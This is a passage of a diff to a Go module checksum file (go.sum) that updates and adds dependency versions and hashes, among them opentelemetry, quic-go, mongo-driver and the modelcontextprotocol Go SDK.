-github.com/go-openapi/swag/conv v0.25.5 h1:wAXBYEXJjoKwE5+vc9YHhpQOFj2JYBMF2DUi+tGu97g= -github.com/go-openapi/swag/conv v0.25.5/go.mod h1:CuJ1eWvh1c4ORKx7unQnFGyvBbNlRKbnRyAvDvzWA4k= -github.com/go-openapi/swag/jsonname v0.25.5 h1:8p150i44rv/Drip4vWI3kGi9+4W9TdI3US3uUYSFhSo= -github.com/go-openapi/swag/jsonname v0.25.5/go.mod h1:jNqqikyiAK56uS7n8sLkdaNY/uq6+D2m2LANat09pKU= -github.com/go-openapi/swag/jsonutils v0.25.5 h1:XUZF8awQr75MXeC+/iaw5usY/iM7nXPDwdG3Jbl9vYo= -github.com/go-openapi/swag/jsonutils v0.25.5/go.mod h1:48FXUaz8YsDAA9s5AnaUvAmry1UcLcNVWUjY42XkrN4= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.25.5 h1:SX6sE4FrGb4sEnnxbFL/25yZBb5Hcg1inLeErd86Y1U= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.25.5/go.mod h1:/2KvOTrKWjVA5Xli3DZWdMCZDzz3uV/T7bXwrKWPquo= -github.com/go-openapi/swag/loading v0.25.5 h1:odQ/umlIZ1ZVRteI6ckSrvP6e2w9UTF5qgNdemJHjuU= -github.com/go-openapi/swag/loading v0.25.5/go.mod h1:I8A8RaaQ4DApxhPSWLNYWh9NvmX2YKMoB9nwvv6oW6g= -github.com/go-openapi/swag/stringutils v0.25.5 h1:NVkoDOA8YBgtAR/zvCx5rhJKtZF3IzXcDdwOsYzrB6M= -github.com/go-openapi/swag/stringutils v0.25.5/go.mod h1:PKK8EZdu4QJq8iezt17HM8RXnLAzY7gW0O1KKarrZII= -github.com/go-openapi/swag/typeutils v0.25.5 h1:EFJ+PCga2HfHGdo8s8VJXEVbeXRCYwzzr9u4rJk7L7E= -github.com/go-openapi/swag/typeutils v0.25.5/go.mod h1:itmFmScAYE1bSD8C4rS0W+0InZUBrB2xSPbWt6DLGuc= -github.com/go-openapi/swag/yamlutils v0.25.5 h1:kASCIS+oIeoc55j28T4o8KwlV2S4ZLPT6G0iq2SSbVQ= -github.com/go-openapi/swag/yamlutils v0.25.5/go.mod h1:Gek1/SjjfbYvM+Iq4QGwa/2lEXde9n2j4a3wI3pNuOQ= -github.com/go-openapi/testify/enable/yaml/v2 v2.4.0 h1:7SgOMTvJkM8yWrQlU8Jm18VeDPuAvB/xWrdxFJkoFag= -github.com/go-openapi/testify/enable/yaml/v2 v2.4.0/go.mod h1:14iV8jyyQlinc9StD7w1xVPW3CO3q1Gj04Jy//Kw4VM= -github.com/go-openapi/testify/v2 v2.4.0 h1:8nsPrHVCWkQ4p8h1EsRVymA2XABB4OT40gcvAu+voFM= -github.com/go-openapi/testify/v2 v2.4.0/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16pjwMkYkP4Ywn54= +github.com/go-openapi/swag/conv v0.26.0 h1:5yGGsPYI1ZCva93U0AoKi/iZrNhaJEjr324YVsiD89I= +github.com/go-openapi/swag/conv v0.26.0/go.mod h1:tpAmIL7X58VPnHHiSO4uE3jBeRamGsFsfdDeDtb5ECE= +github.com/go-openapi/swag/jsonname v0.26.0 h1:gV1NFX9M8avo0YSpmWogqfQISigCmpaiNci8cGECU5w= +github.com/go-openapi/swag/jsonname v0.26.0/go.mod h1:urBBR8bZNoDYGr653ynhIx+gTeIz0ARZxHkAPktJK2M= +github.com/go-openapi/swag/jsonutils v0.26.0 h1:FawFML2iAXsPqmERscuMPIHmFsoP1tOqWkxBaKNMsnA= +github.com/go-openapi/swag/jsonutils v0.26.0/go.mod h1:2VmA0CJlyFqgawOaPI9psnjFDqzyivIqLYN34t9p91E= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.0 h1:apqeINu/ICHouqiRZbyFvuDge5jCmmLTqGQ9V95EaOM= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.0/go.mod h1:AyM6QT8uz5IdKxk5akv0y6u4QvcL9GWERt0Jx/F/R8Y= +github.com/go-openapi/swag/loading v0.26.0 h1:Apg6zaKhCJurpJer0DCxq99qwmhFddBhaMX7kilDcko= +github.com/go-openapi/swag/loading v0.26.0/go.mod h1:dBxQ/6V2uBaAQdevN18VELE6xSpJWZxLX4txe12JwDg= +github.com/go-openapi/swag/stringutils v0.26.0 h1:qZQngLxs5s7SLijc3N2ZO+fUq2o8LjuWAASSrJuh+xg= +github.com/go-openapi/swag/stringutils v0.26.0/go.mod h1:sWn5uY+QIIspwPhvgnqJsH8xqFT2ZbYcvbcFanRyhFE= +github.com/go-openapi/swag/typeutils v0.26.0 h1:2kdEwdiNWy+JJdOvu5MA2IIg2SylWAFuuyQIKYybfq4= +github.com/go-openapi/swag/typeutils v0.26.0/go.mod h1:oovDuIUvTrEHVMqWilQzKzV4YlSKgyZmFh7AlfABNVE= +github.com/go-openapi/swag/yamlutils v0.26.0 h1:H7O8l/8NJJQ/oiReEN+oMpnGMyt8G0hl460nRZxhLMQ= +github.com/go-openapi/swag/yamlutils v0.26.0/go.mod h1:1evKEGAtP37Pkwcc7EWMF0hedX0/x3Rkvei2wtG/TbU= +github.com/go-openapi/testify/enable/yaml/v2 v2.4.2 h1:5zRca5jw7lzVREKCZVNBpysDNBjj74rBh0N2BGQbSR0= +github.com/go-openapi/testify/enable/yaml/v2 v2.4.2/go.mod h1:XVevPw5hUXuV+5AkI1u1PeAm27EQVrhXTTCPAF85LmE= +github.com/go-openapi/testify/v2 v2.4.2 h1:tiByHpvE9uHrrKjOszax7ZvKB7QOgizBWGBLuq0ePx4= +github.com/go-openapi/testify/v2 v2.4.2/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.30.1 h1:f3zDSN/zOma+w6+1Wswgd9fLkdwy06ntQJp0BBvFG0w= -github.com/go-playground/validator/v10 v10.30.1/go.mod h1:oSuBIQzuJxL//3MelwSLD5hc2Tu889bF0Idm9Dg26cM= +github.com/go-playground/validator/v10 v10.30.2 h1:JiFIMtSSHb2/XBUbWM4i/MpeQm9ZK2xqPNk8vgvu5JQ= +github.com/go-playground/validator/v10 v10.30.2/go.mod h1:mAf2pIOVXjTEBrwUMGKkCWKKPs9NheYGabeB04txQSc= github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= @@ -96,6 +96,8 @@ github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM= github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA= github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI= github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= +github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 h1:au07oEsX2xN0ktxqI+Sida1w446QrXBRJ0nee3SNZlA= github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= @@ -107,6 +109,8 @@ github.com/golang/snappy v1.0.0/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEW github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/jsonschema-go v0.4.3 h1:/DBOLZTfDow7pe2GmaJNhltueGTtDKICi8V8p+DQPd0= +github.com/google/jsonschema-go v0.4.3/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= @@ -129,8 +133,8 @@ github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= -github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo= -github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ= +github.com/klauspost/compress v1.18.6 h1:2jupLlAwFm95+YDR+NwD2MEfFO9d4z4Prjl1XXDjuao= +github.com/klauspost/compress v1.18.6/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y= github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= github.com/knadh/koanf/maps v0.1.2 h1:RBfmAW5CnZT+PJ1CVc1QSJKf4Xu9kxfQgYVQSu8hpbo= @@ -139,8 +143,8 @@ github.com/knadh/koanf/providers/env v1.1.0 h1:U2VXPY0f+CsNDkvdsG8GcsnK4ah85WwWy github.com/knadh/koanf/providers/env v1.1.0/go.mod h1:QhHHHZ87h9JxJAn2czdEl6pdkNnDh/JS1Vtsyt65hTY= github.com/knadh/koanf/providers/file v1.2.1 h1:bEWbtQwYrA+W2DtdBrQWyXqJaJSG3KrP3AESOJYp9wM= github.com/knadh/koanf/providers/file v1.2.1/go.mod h1:bp1PM5f83Q+TOUu10J/0ApLBd9uIzg+n9UgthfY+nRA= -github.com/knadh/koanf/v2 v2.3.3 h1:jLJC8XCRfLC7n4F+ZKKdBsbq1bfXTpuFhf4L7t94D94= -github.com/knadh/koanf/v2 v2.3.3/go.mod h1:gRb40VRAbd4iJMYYD5IxZ6hfuopFcXBpc9bbQpZwo28= +github.com/knadh/koanf/v2 v2.3.5 h1:2dXJUYaKGm4SGYeoAtBviq9+02JZo/pxQ2ssOd60rJg= +github.com/knadh/koanf/v2 v2.3.5/go.mod h1:gRb40VRAbd4iJMYYD5IxZ6hfuopFcXBpc9bbQpZwo28= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= @@ -151,8 +155,8 @@ github.com/leonelquinteros/gotext v1.7.2 h1:bDPndU8nt+/kRo1m4l/1OXiiy2v7Z7dfPQ9+ github.com/leonelquinteros/gotext v1.7.2/go.mod h1:9/haCkm5P7Jay1sxKDGJ5WIg4zkz8oZKw4ekNpALob8= github.com/libdns/cloudflare v0.2.2 h1:XWHv+C1dDcApqazlh08Q6pjytYLgR2a+Y3xrXFu0vsI= github.com/libdns/cloudflare v0.2.2/go.mod h1:w9uTmRCDlAoafAsTPnn2nJ0XHK/eaUMh86DUk8BWi60= -github.com/libdns/he v1.2.1 h1:cjTZlxM5wv2lBPmtxsQCqMgmXMqTnmR4eLqUVwEkqis= -github.com/libdns/he v1.2.1/go.mod h1:SWTm80gn+7sUASGsQbRHayenoW4QIw/iGmsrkDzFghM= +github.com/libdns/he v1.2.2 h1:4PMGYsT3g7uFcHIaEkaQK4dENEorUuetPClGCsqi5/s= +github.com/libdns/he v1.2.2/go.mod h1:dHvv/0lMlwUXpMvnM63kZEpWYTvhDyK1dduXNVUCUYw= github.com/libdns/libdns v1.1.1 h1:wPrHrXILoSHKWJKGd0EiAVmiJbFShguILTg9leS/P/U= github.com/libdns/libdns v1.1.1/go.mod h1:4Bj9+5CQiNMVGf87wjX4CY3HQJypUHRuLvlsfsZqLWQ= github.com/likexian/gokit v0.25.16 h1:wwBeUIN/OdoPp6t00xTnZE8Di/+s969Bl5N2Kw6bzP8= @@ -161,10 +165,10 @@ github.com/likexian/whois v1.15.7 h1:sajjDhi2bVD71AHJhjV7jLYxN92H4AWhTwxM8hmj7c0 github.com/likexian/whois v1.15.7/go.mod h1:kdPQtYb+7SQVftBEbCblDadUkycN7Mg1k1/Li/rwvmc= github.com/likexian/whois-parser v1.24.21 h1:MxsrGRxDOiZIVp7q7N/yAIbKuN4QAkGjCpOtTDA5OsM= github.com/likexian/whois-parser v1.24.21/go.mod h1:o3DUruO65Pb8WXCJCTlSVkTbwuYVrBCeoMTw2q0mxY4= -github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= -github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/mattn/go-sqlite3 v1.14.37 h1:3DOZp4cXis1cUIpCfXLtmlGolNLp2VEqhiB/PARNBIg= -github.com/mattn/go-sqlite3 v1.14.37/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= +github.com/mattn/go-isatty v0.0.22 h1:j8l17JJ9i6VGPUFUYoTUKPSgKe/83EYU2zBC7YNKMw4= +github.com/mattn/go-isatty v0.0.22/go.mod h1:ZXfXG4SQHsB/w3ZeOYbR0PrPwLy+n6xiMrJlRFqopa4= +github.com/mattn/go-sqlite3 v1.14.49 h1:B8jBHC3xhxZgxztrgruTuLucebnULQnx4W7cF7SAE9w= +github.com/mattn/go-sqlite3 v1.14.49/go.mod h1:6JTjA44L93a0QCyJef5YvlPoKXntQPjzWv5gtm9sB6w= github.com/microsoft/go-mssqldb v1.7.2 h1:CHkFJiObW7ItKTJfHo1QX7QBBD1iV+mn1eOyRP3b/PA= github.com/microsoft/go-mssqldb v1.7.2/go.mod h1:kOvZKUdrhhFQmxLZqbwUV0rHkNkZpthMITIb2Ko1IoA= github.com/miekg/dns v1.1.72 h1:vhmr+TF2A3tuoGNkLDFK9zi36F2LS+hKTRW0Uf8kbzI= @@ -173,22 +177,24 @@ github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa1 github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= +github.com/modelcontextprotocol/go-sdk v1.7.0 h1:yqjY2dsbKAC0LSuWZVBMrHgiG8ukXv6NRo0JiALay44= +github.com/modelcontextprotocol/go-sdk v1.7.0/go.mod h1:dL7u98E/zjJTGzEq+j30jQ8K2k1mb6LeAH4inEcSGts= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee h1:W5t00kpgFdJifH4BDsTlE89Zl93FEloxaWZfGcifgq8= github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/nezhahq/libdns-tencentcloud v0.0.0-20250501081622-bd293105845a h1:wCB9wDZi2JlTfMtE09s5VjSaQpk4EXegvja4wEzx2vk= -github.com/nezhahq/libdns-tencentcloud v0.0.0-20250501081622-bd293105845a/go.mod h1:CUbNGv2k24auuhwa7MMVXl45fniBMm2eVi57FlWLcIs= +github.com/nezhahq/libdns-tencentcloud v0.0.0-20260628095405-2ab294ec675b h1:gn59L2ZaVX1meXwTXUJANwCU++3Lu5LTTowRZFYJWoo= +github.com/nezhahq/libdns-tencentcloud v0.0.0-20260628095405-2ab294ec675b/go.mod h1:CUbNGv2k24auuhwa7MMVXl45fniBMm2eVi57FlWLcIs= github.com/ory/graceful v0.2.0 h1:5wqyCvKZG2+sorOA9rmQJm9aZP+RJdTrVHVDcvMOSuQ= github.com/ory/graceful v0.2.0/go.mod h1:hg2iCy+LCWOXahBZ+NQa4dk8J2govyQD79rrqrgMyY8= github.com/oschwald/maxminddb-golang v1.13.1 h1:G3wwjdN9JmIK2o/ermkHM+98oX5fS+k5MbwsmL4MRQE= github.com/oschwald/maxminddb-golang v1.13.1/go.mod h1:K4pgV9N/GcK694KSTmVSDTODk4IsCNThNdTmnaBZ/F8= github.com/patrickmn/go-cache v2.1.0+incompatible h1:HRMgzkcYKYpi3C8ajMPV8OFXaaRUnok+kx1WdO15EQc= github.com/patrickmn/go-cache v2.1.0+incompatible/go.mod h1:3Qf8kWWT7OJRJbdiICTKqZju1ZixQ/KpMGzzAfe6+WQ= -github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4= -github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= +github.com/pelletier/go-toml/v2 v2.3.1 h1:MYEvvGnQjeNkRF1qUuGolNtNExTDwct51yp7olPtrEc= +github.com/pelletier/go-toml/v2 v2.3.1/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= @@ -196,12 +202,18 @@ github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRI github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/quic-go/qpack v0.6.0 h1:g7W+BMYynC1LbYLSqRt8PBg5Tgwxn214ZZR34VIOjz8= github.com/quic-go/qpack v0.6.0/go.mod h1:lUpLKChi8njB4ty2bFLX2x4gzDqXwUpaO1DP9qMDZII= -github.com/quic-go/quic-go v0.59.0 h1:OLJkp1Mlm/aS7dpKgTc6cnpynnD2Xg7C1pwL6vy/SAw= -github.com/quic-go/quic-go v0.59.0/go.mod h1:upnsH4Ju1YkqpLXC305eW3yDZ4NfnNbmQRCMWS58IKU= +github.com/quic-go/quic-go v0.59.1 h1:0Gmua0HW1Tv7ANR7hUYwRyD0MG5OJfgvYSZasGZzBic= +github.com/quic-go/quic-go v0.59.1/go.mod h1:upnsH4Ju1YkqpLXC305eW3yDZ4NfnNbmQRCMWS58IKU= github.com/robfig/cron/v3 v3.0.1 h1:WdRxkvbJztn8LMz/QEvLN5sBU+xKpSqwwUO1Pjr4qDs= github.com/robfig/cron/v3 v3.0.1/go.mod h1:eQICP3HwyT7UooqI/z+Ov+PtYAWygg1TEWWzGIFLtro= github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +github.com/segmentio/asm v1.1.3 h1:WM03sfUOENvvKexOLp+pCqgb/WDjsi7EK8gIsICtzhc= +github.com/segmentio/asm v1.1.3/go.mod h1:Ld3L4ZXGNcSLRg4JBsZ3//1+f/TjYl0Mzen/DQy1EJg= +github.com/segmentio/encoding v0.5.4 h1:OW1VRern8Nw6ITAtwSZ7Idrl3MXCFwXHPgqESYfvNt0= +github.com/segmentio/encoding v0.5.4/go.mod h1:HS1ZKa3kSN32ZHVZ7ZLPLXWvOVIiZtyJnO1gPH1sKt0= +github.com/sqids/sqids-go v0.4.1 h1:eQKYzmAZbLlRwHeHYPF35QhgxwZHLnlmVj9AkIj/rrw= +github.com/sqids/sqids-go v0.4.1/go.mod h1:EMwHuPQgSNFS0A49jESTfIQS+066XQTVhukrzEPScl8= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= @@ -220,8 +232,8 @@ github.com/swaggo/gin-swagger v1.6.1/go.mod h1:LQ+hJStHakCWRiK/YNYtJOu4mR2FP+pxL github.com/swaggo/swag v1.16.6 h1:qBNcx53ZaX+M5dxVyTrgQ0PJ/ACK+NzhwcbieTt+9yI= github.com/swaggo/swag v1.16.6/go.mod h1:ngP2etMK5a0P3QBizic5MEwpRmluJZPHjXcMoj4Xesg= github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= -github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= -github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/gjson v1.19.0 h1:xwxm7n691Uf3u5OFjzngavjGTh55KX5q/9w9xHW88JU= +github.com/tidwall/gjson v1.19.0/go.mod h1:V37/opeE/JbLUOfH0QTXiNez2l0RUjYUhpT4szFQAfc= github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= github.com/tidwall/match v1.2.0 h1:0pt8FlkOwjN2fPt4bIl4BoNxb98gGHN2ObFEDkrfZnM= github.com/tidwall/match v1.2.0/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= @@ -244,61 +256,62 @@ github.com/valyala/histogram v1.2.0 h1:wyYGAZZt3CpwUiIb9AU/Zbllg1llXyrtApRS815OL github.com/valyala/histogram v1.2.0/go.mod h1:Hb4kBwb4UxsaNbbbh+RRz8ZR6pdodR57tzWUS3BUzXY= github.com/valyala/quicktemplate v1.8.0 h1:zU0tjbIqTRgKQzFY1L42zq0qR3eh4WoQQdIdqCysW5k= github.com/valyala/quicktemplate v1.8.0/go.mod h1:qIqW8/igXt8fdrUln5kOSb+KWMaJ4Y8QUsfd1k6L2jM= +github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= +github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4= github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 h1:ilQV1hzziu+LLM3zUTJ0trRztfwgjqKnBWNtSRkbmwM= github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78/go.mod h1:aL8wCCfTfSfmXjznFBSZNN13rSJjlIOI1fUNAtF7rmI= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -go.mongodb.org/mongo-driver/v2 v2.5.0 h1:yXUhImUjjAInNcpTcAlPHiT7bIXhshCTL3jVBkF3xaE= -go.mongodb.org/mongo-driver/v2 v2.5.0/go.mod h1:yOI9kBsufol30iFsl1slpdq1I0eHPzybRWdyYUs8K/0= +go.mongodb.org/mongo-driver/v2 v2.6.0 h1:b9sJOYrkmt4l8bY43ZenFBcPlhYIjaOfYHLtbB/5qi8= +go.mongodb.org/mongo-driver/v2 v2.6.0/go.mod h1:yOI9kBsufol30iFsl1slpdq1I0eHPzybRWdyYUs8K/0= go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= -go.opentelemetry.io/otel v1.39.0 h1:8yPrr/S0ND9QEfTfdP9V+SiwT4E0G7Y5MO7p85nis48= -go.opentelemetry.io/otel v1.39.0/go.mod h1:kLlFTywNWrFyEdH0oj2xK0bFYZtHRYUdv1NklR/tgc8= -go.opentelemetry.io/otel/metric v1.39.0 h1:d1UzonvEZriVfpNKEVmHXbdf909uGTOQjA0HF0Ls5Q0= -go.opentelemetry.io/otel/metric v1.39.0/go.mod h1:jrZSWL33sD7bBxg1xjrqyDjnuzTUB0x1nBERXd7Ftcs= -go.opentelemetry.io/otel/sdk v1.39.0 h1:nMLYcjVsvdui1B/4FRkwjzoRVsMK8uL/cj0OyhKzt18= -go.opentelemetry.io/otel/sdk v1.39.0/go.mod h1:vDojkC4/jsTJsE+kh+LXYQlbL8CgrEcwmt1ENZszdJE= -go.opentelemetry.io/otel/sdk/metric v1.39.0 h1:cXMVVFVgsIf2YL6QkRF4Urbr/aMInf+2WKg+sEJTtB8= -go.opentelemetry.io/otel/sdk/metric v1.39.0/go.mod h1:xq9HEVH7qeX69/JnwEfp6fVq5wosJsY1mt4lLfYdVew= -go.opentelemetry.io/otel/trace v1.39.0 h1:2d2vfpEDmCJ5zVYz7ijaJdOF59xLomrvj7bjt6/qCJI= -go.opentelemetry.io/otel/trace v1.39.0/go.mod h1:88w4/PnZSazkGzz/w84VHpQafiU4EtqqlVdxWy+rNOA= +go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU= +go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc= +go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc= +go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo= +go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58= +go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0= +go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI= 